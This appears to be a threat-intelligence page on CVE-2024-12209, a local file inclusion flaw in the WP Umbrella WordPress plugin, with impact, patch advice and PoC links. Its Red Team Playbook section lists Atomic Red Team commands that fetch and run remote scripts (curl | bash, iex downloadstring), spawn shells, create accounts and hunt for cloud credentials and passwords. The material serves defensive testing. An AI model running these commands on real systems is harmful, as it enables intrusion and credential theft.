CVE-2024-12209
Overview
This vulnerability is a Local File Inclusion (LFI) flaw in the WP Umbrella: Update Backup Restore & Monitoring WordPress plugin. The root cause is improper validation and sanitization of the 'filename' parameter within the 'umbrella-restore' action handler. This flaw exists in the restore functionality component, enabling file inclusion from local server paths.
Vulnerability Description
The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
Impact
An unauthenticated attacker can exploit this flaw remotely to include and execute arbitrary PHP files on the server, potentially bypassing access controls and accessing sensitive data. This can lead to full remote code execution, data compromise, or service disruption without requiring any user interaction or authentication, consistent with the CVSS vector AV:N/AC:L/PR:N/UI:N. The vulnerability enables attackers to leverage file upload mechanisms to introduce executable payloads.
Solution
Upgrade the WP Umbrella: Update Backup Restore & Monitoring plugin to a version later than 2.17.0 where the vulnerability is patched. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/c74ce3e8-cab9-4cc6-a1ad-1e51f7268474) for detailed patch information. Review the plugin's RestoreRouter.php implementation to ensure proper input validation is enforced on the 'filename' parameter before restoring files.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress arises from a Local File Inclusion (LFI) flaw that affects all versions up to and including 2.17.0. This vulnerability is triggered through the 'filename' parameter of the 'umbrella-restore' action, allowing unauthenticated users to manipulate file paths. By exploiting this flaw, an attacker can include arbitrary files from the server's filesystem, which may include sensitive configuration files or even PHP scripts. The ability to execute arbitrary PHP code significantly escalates the risk, as it can lead to full server compromise, data breaches, and unauthorized access to sensitive information.
Attack vectors for this vulnerability are straightforward, primarily leveraging the lack of input validation on the 'filename' parameter. An attacker can craft a malicious request that specifies a path to a sensitive file, such as /etc/passwd or wp-config.php, to extract sensitive information. Furthermore, if the server allows the upload of files, an attacker could upload a PHP script disguised as an image or other "safe" file type. Once uploaded, this file can be included and executed through the vulnerable parameter, leading to potential remote code execution. This exploitation method is particularly dangerous as it bypasses traditional access controls, allowing attackers to gain unauthorized access to the server environment.
The real-world impact of this vulnerability is significant, especially for organizations relying on the affected plugin for backup and restoration functionalities. Successful exploitation can lead to data breaches, where sensitive customer information, internal documents, and credentials are exposed. Additionally, attackers can manipulate the server environment to install backdoors, facilitating long-term access and control. The business risks associated with such incidents include reputational damage, regulatory penalties, and substantial financial losses due to remediation efforts and potential lawsuits from affected parties. Given the high CVSS score of 9.8, this vulnerability poses a critical threat that organizations must address promptly.
Detection and mitigation strategies for this vulnerability should focus on both immediate and long-term actions. Organizations should first ensure that they are using the latest version of the WP Umbrella plugin, as updates typically include patches for known vulnerabilities. Regular security audits and code reviews can help identify and remediate similar vulnerabilities in custom or third-party plugins. Implementing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests targeting the vulnerable parameter. Furthermore, employing strict input validation and sanitization practices can help prevent LFI vulnerabilities from being exploited in the first place. Organizations should also consider monitoring server logs for unusual access patterns that may indicate exploitation attempts, allowing for a proactive response to potential threats.
In conclusion, the Local File Inclusion vulnerability in the WP Umbrella plugin presents a serious risk to WordPress installations, particularly due to its potential for unauthorized file execution and data exposure. Organizations must prioritize the application of security patches, implement robust detection mechanisms, and adopt best practices for secure coding and configuration management to mitigate the risks associated with this and similar vulnerabilities. By taking these steps, businesses can better protect their digital assets and maintain the trust of their customers.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the Local File Inclusion vulnerability in the WP Umbrella plugin. This increase in activity, coupled with the emergence of additional proof-of-concept exploits on public repositories, signals growing adversary interest and capability to leverage this flaw. Although the EPSS score remains stable, the surge in detection events underscores an elevated operational tempo among threat actors, heightening the risk of successful compromise. For defenders, this shift necessitates heightened vigilance in monitoring for exploitation indicators and reinforces the criticality of timely patch management. The threat level, while still critical due to the vulnerability’s nature, now reflects a more active exploitation landscape that could accelerate attack campaigns against unpatched WordPress environments.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-12209
Unauthenticated Local File Inclusion
|
Nxploited | 3 | 2 | 2024-12-24 | View |
|
RandomRobbieBF/CVE-2024-12209
WP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - Unauthenticated Local File Inclusion
|
RandomRobbieBF | 1 | 0 | 2024-12-09 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-193 | PHP Remote File Inclusion |
47%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12209 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c74ce3e8-cab9-4cc6-a1ad-1e51f7268474?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wp-health/tags/v2.16.4/src/Actions/RestoreRouter.php#L45 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3202883%40wp-health&new=3202883%40wp-health&sfp_email=&sfph_mail= |